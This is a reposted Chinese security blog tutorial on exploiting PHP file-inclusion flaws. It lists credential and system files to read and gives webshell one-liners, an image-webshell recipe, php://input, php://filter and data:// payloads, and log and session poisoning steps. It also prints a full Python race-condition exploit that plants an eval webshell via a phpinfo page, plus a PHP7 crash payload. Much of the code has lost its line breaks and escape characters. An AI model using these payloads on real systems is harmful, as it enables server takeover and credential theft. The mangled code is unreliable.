文件包含利用思路

admin 2021年12月11日15:55:00评论136 views字数 7638阅读25分27秒阅读模式

文件包含简介

    开发人员通常会把可重复使用的函数写到单个文件中,在使用某些函数时,直接调用此文件,而无需再次编写,这种调用文件的过程一般被称为包含。

    为了使代码更加灵活,通常会将被包含的文件设置为变量,用来进行动态调用,但正是由于这种灵活性,从而导致客户端可以调用一个恶意文件,造成文件包含漏洞。

文件包含漏洞的环境要求


· 变量可控
· allow_url_fopen=On(默认为On) 规定是否允许从远程服务器或者网站检索数据 (远程包含条件)
· allow_url_include=On(php5.2之后默认为Off) 规定是否允许include/require远程文件 (本地包含条件)


绕过有后缀限制的包含

①使用%00 截断:

使用条件:

为当前php版本小于5.3.4否则无法使用且还需要关闭魔术引号(magic_quotes_gpc=off)

②长度截断(利用垃圾字符填充):

Windows  长度最长为256

Linux    长度最长为4096

一、利用思路:

①包含一些敏感的配置文件;

②配合图片马

③配合php伪协议

④配合日志文件

⑤配合session文件

⑥利用临时文件

二、实现方法

1、包含一些敏感的配置文件;

Windows


# Windows系统的一个基本系统配置文件C:Windowswin.ini
# 查看系统版本c:boot.ini
# IIS配置文件c:windowssystem32inetsrvMetaBase.xml
# 存储Windows系统初次安装的密码c:windowsrepairsam
# MySQL配置c:ProgramFilesmysqlmy.ini
# MySQL root密码c:ProgramFilesmysqldatamysqluser.MYD
# php 配置信息c:windowsphp.ini


Linux


# 账户信息/etc/passwd
# 账户密码文件/etc/shadow
# Apache2默认配置文件/usr/local/app/apache2/conf/httpd.conf
# 虚拟网站配置/usr/local/app/apache2/conf/extra/httpd-vhost.conf
# PHP 配置文件/usr/local/app/php5/lib/php.ini
# Apache 配置文件/etc/httpd/conf/httpd.conf
# MySQL 配置文件/etc/my.conf


2、配合图片马

文件包含能够配合图片马,是因为文件包含能使得任意文件都以后端脚本形式进行执行,如php的站就会将图片以php的方式执行一遍,这才有了图片马的配合从而getshell

php 为例


#写入一句话并保存为shell.php文件<?php fputs(fopen("shell.php","w"),'<? @eval($_POST[key]);?>');?>


生成图片木马(Windows)命令

1.jpg为正常图片,shell.php为写入的一句话木马


copy 1.jpg/b+shell.php shell.jpg

文件包含利用思路

将其上传至服务器再进行文件包含就能利用到了

访问文件是存在该图片

文件包含利用思路



此时还是不存在shell.php文件

文件包含利用思路



进行包含 再次验证

文件包含利用思路

文件包含利用思路



此时可以对比发现shell.php不再出现Not Fund错误了

进行执行phpinfo()

文件包含利用思路

成功执行, 说明命令成功 已经可以getshell了

3、配合PHP伪协议

各协议的利用条件和用法

文件包含利用思路



php://input

php://input可以访问请求的原始数据的只读流,将post请求的数据当作php代码执行。当传入的参数作为文件名打开时,可以将参数设为php://input,同时post想设置的文件内容,php执行时会将post内容当作文件内容。

注:当enctype=”multipart/form-data”时,php://input是无效的,以及需要开启all_url_include才能使用。


http://192.168.8.10/include.php?filename=php://input
POST:<?php phpinfo();?>

文件包含利用思路



php://filter

php://filter可以获取指定文件源码。当它与包含函数结合时,php://filter流会被当作php文件执行。所以我们一般对其进行编码,让其不执行。从而导致 任意文件读取


http://192.168.8.10/include.php?filename=php://filter/read=convert.base64-encode/resource=shell.php

文件包含利用思路


data://

数据流封装器,以GET传递相应格式的数据。通常可以用来执行PHP代码。


1、data://text/plain,http://192.168.8.10/include.php?filename=data://text/plain,<?php phpinfo();?>

文件包含利用思路


2、data://text/plain;base64,http://192.168.8.10/include.php?filename=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+

文件包含利用思路


这里只简单列举了三种方法。

4、配合日志文件

利用条件:知道日志文件的存储路径,并且日志文件可读。

利用用户发起请求成功后服务器就会将其请求到的相应信息记录到access.log日志中, 从而配置利用日志文件包含, 不过要注意的是在写入一句话时, url会进行编码, 所以用burp抓包请求后再放出或者利用curl命令也行

可以通过猜测常见日志文件的路径进行读取, 或者利用phpinfo页面进行确定log位置(查找 server root 关键词)

文件包含利用思路


文件包含利用思路



进行包含


http://192.168.8.10/include.php?filename=C:\phpStudy\PHPTutorial\Apache\logs\access.log

文件包含利用思路



5、配合session文件

常见的php-session存放位置:

1./var/lib/php/sess_PHPSESSID2./var/lib/php/sess_PHPSESSID3./tmp/sess_PHPSESSID4./tmp/sessions/sess_PHPSESSID

也可以利用phpinfo(session.save_path)读取到session文件所在

session 的文件名格式为 sess_[phpsessid]。而 phpsessid 在发送的请求的 cookie 字段中可以看到

文件包含利用思路


要想利用就得要有请求登录, 这里可以借助phpmyadmin平台

文件包含利用思路

文件包含利用思路



6、利用临时文件

① 利用能访问的phpinfo页面,对其一次发送大量数据造成临时文件没有及时被删除

利用方法简述:

在给PHP发送POST数据包时,如果数据包里包含文件区块,无论你访问的代码中有没有处理文件上传的逻辑,PHP都会将这个文件保存成一个临时文件(通常是/tmp/php[6个随机字符]),文件名可以在$_FILES变量中找到。这个临时文件,在请求结束后就会被删除。

同时,因为phpinfo页面会将当前请求上下文中所有变量都打印出来,所以我们如果向phpinfo页面发送包含文件区块的数据包,则即可在返回包里找到$_FILES变量的内容,自然也包含临时文件名。

在文件包含漏洞找不到可利用的文件时,即可利用这个方法,找到临时文件名,然后包含之。

但文件包含漏洞和phpinfo页面通常是两个页面,理论上我们需要先发送数据包给phpinfo页面,然后从返回页面中匹配出临时文件名,再将这个文件名发送给文件包含漏洞页面,进行getshell。在第一个请求结束时,临时文件就被删除了,第二个请求自然也就无法进行包含。

这个时候就需要用到条件竞争,具体流程如下:

1、发送包含了webshell的上传数据包给phpinfo页面,这个数据包的header、get等位置需要塞满垃圾数据

2、因为phpinfo页面会将所有数据都打印出来,1中的垃圾数据会将整个phpinfo页面撑得非常大

3、php默认的输出缓冲区大小为4096,可以理解为php每次返回4096个字节给socket连接

4、所以,我们直接操作原生socket,每次读取4096个字节。只要读取到的字符里包含临时文件名,就立即发送第二个数据包

5、此时,第一个数据包的socket连接实际上还没结束,因为php还在继续每次输出4096个字节,所以临时文件此时还没有删除

6、利用这个时间差,第二个数据包,也就是文件包含漏洞的利用,即可成功包含临时文件,最终getshell

存在phpinfo页面

文件包含利用思路



条件竞争EXP


#!/usr/bin/python import sysimport threadingimport socket
def setup(host, port): TAG="Security Test" PAYLOAD="""%sr<?php file_put_contents('/tmp/g', '<?=eval($_REQUEST[1])?>')?>r""" % TAG REQ1_DATA="""-----------------------------7dbff1ded0714rContent-Disposition: form-data; name="dummyname"; filename="test.txt"rContent-Type: text/plainrr%s-----------------------------7dbff1ded0714--r""" % PAYLOAD padding="A" * 5000 REQ1="""POST /phpinfo.php?a="""+padding+""" HTTP/1.1rCookie: PHPSESSID=q249llvfromc1or39t6tvnun42; othercookie="""+padding+"""rHTTP_ACCEPT: """ + padding + """rHTTP_USER_AGENT: """+padding+"""rHTTP_ACCEPT_LANGUAGE: """+padding+"""rHTTP_PRAGMA: """+padding+"""rContent-Type: multipart/form-data; boundary=---------------------------7dbff1ded0714rContent-Length: %srHost: %srr%s""" %(len(REQ1_DATA),host,REQ1_DATA) #modify this to suit the LFI script LFIREQ="""GET /lfi.php?file=%s HTTP/1.1rUser-Agent: Mozilla/4.0rProxy-Connection: Keep-AliverHost: %srrr""" return (REQ1, TAG, LFIREQ)
def phpInfoLFI(host, port, phpinforeq, offset, lfireq, tag): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port)) s2.connect((host, port))
s.send(phpinforeq) d = "" while len(d) < offset: d += s.recv(offset) try: i = d.index("[tmp_name] => ") fn = d[i+17:i+31] except ValueError: return None
s2.send(lfireq % (fn, host)) d = s2.recv(4096) s.close() s2.close()
if d.find(tag) != -1: return fn
counter=0class ThreadWorker(threading.Thread): def __init__(self, e, l, m, *args): threading.Thread.__init__(self) self.event = e self.lock = l self.maxattempts = m self.args = args
def run(self): global counter while not self.event.is_set(): with self.lock: if counter >= self.maxattempts: return counter+=1
try: x = phpInfoLFI(*self.args) if self.event.is_set(): break if x: print "nGot it! Shell created in /tmp/g" self.event.set()
except socket.error: return

def getOffset(host, port, phpinforeq): """Gets offset of tmp_name in the php output""" s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host,port)) s.send(phpinforeq)
d = "" while True: i = s.recv(4096) d+=i if i == "": break # detect the final chunk if i.endswith("0rnrn"): break s.close() i = d.find("[tmp_name] => ") if i == -1: raise ValueError("No php tmp_name in phpinfo output")
print "found %s at %i" % (d[i:i+10],i) # padded up a bit return i+256
def main():
print "LFI With PHPInfo()" print "-=" * 30
if len(sys.argv) < 2: print "Usage: %s host [port] [threads]" % sys.argv[0] sys.exit(1)
try: host = socket.gethostbyname(sys.argv[1]) except socket.error, e: print "Error with hostname %s: %s" % (sys.argv[1], e) sys.exit(1)
port=80 try: port = int(sys.argv[2]) except IndexError: pass except ValueError, e: print "Error with port %d: %s" % (sys.argv[2], e) sys.exit(1)
poolsz=10 try: poolsz = int(sys.argv[3]) except IndexError: pass except ValueError, e: print "Error with poolsz %d: %s" % (sys.argv[3], e) sys.exit(1)
print "Getting initial offset...", reqphp, tag, reqlfi = setup(host, port) offset = getOffset(host, port, reqphp) sys.stdout.flush()
maxattempts = 1000 e = threading.Event() l = threading.Lock()
print "Spawning worker pool (%d)..." % poolsz sys.stdout.flush()
tp = [] for i in range(0,poolsz): tp.append(ThreadWorker(e,l,maxattempts, host, port, reqphp, offset, reqlfi, tag))
for t in tp: t.start() try: while not e.wait(1): if e.is_set(): break with l: sys.stdout.write( "r% 4d / % 4d" % (counter, maxattempts)) sys.stdout.flush() if counter >= maxattempts: break print if e.is_set(): print "Woot! m/" else: print ":(" except KeyboardInterrupt: print "nTelling threads to shutdown..." e.set()
print "Shuttin' down..." for t in tp: t.join()
if __name__=="__main__": main()


创建成功在/tmp/g文件

文件包含利用思路



通过请求尝试执行phpinfo()

文件包含利用思路



②PHP版本<7.2,利用php崩溃留下临时文件

php7 segment fault特性

段错误(segment fault)就是指访问的内存超过了系统所给这个程序的内存空间。从而发生程序退出。缓存文件就留在了tmp目录     向PHP发送含有文件区块的数据包时,让PHP异常崩溃退出,POST的临时文件就会被保留

php < 7.2


Linux:php://filter/string.strip_tags/resource=/etc/passwd
Windowsphp://filter/string.strip_tags/resource=C:/Windows/win.ini


php7 老版本通杀


php://filter/convert.quoted-printable-encode/resource=data://,%bfAAAAAAAAAAAAAAAAAAAAAAA%ff%ff%ff%ff%ff%ff%ff%ffAAAAAAAAAAAAAAAAAAAAAAAA


PY代码如下:


import requestsfrom io import BytesIOimport re
payload = "<?php phpinfo()?>"file_data = { 'file': BytesIO(payload.encode())}url = "http://127.0.0.1/include.php?" +"filename=php://filter/string.strip_tags/resource=C:/Windows/win.ini"r = requests.post(url=url, files=file_data, allow_redirects=False)

文件包含利用思路


文件包含利用思路


成功利用上包含了该临时文件


原文始发于微信公众号(墨雪飘影):文件包含利用思路

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年12月11日15:55:00
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   文件包含利用思路https://cn-sec.com/archives/671354.html

发表评论

匿名网友 填写信息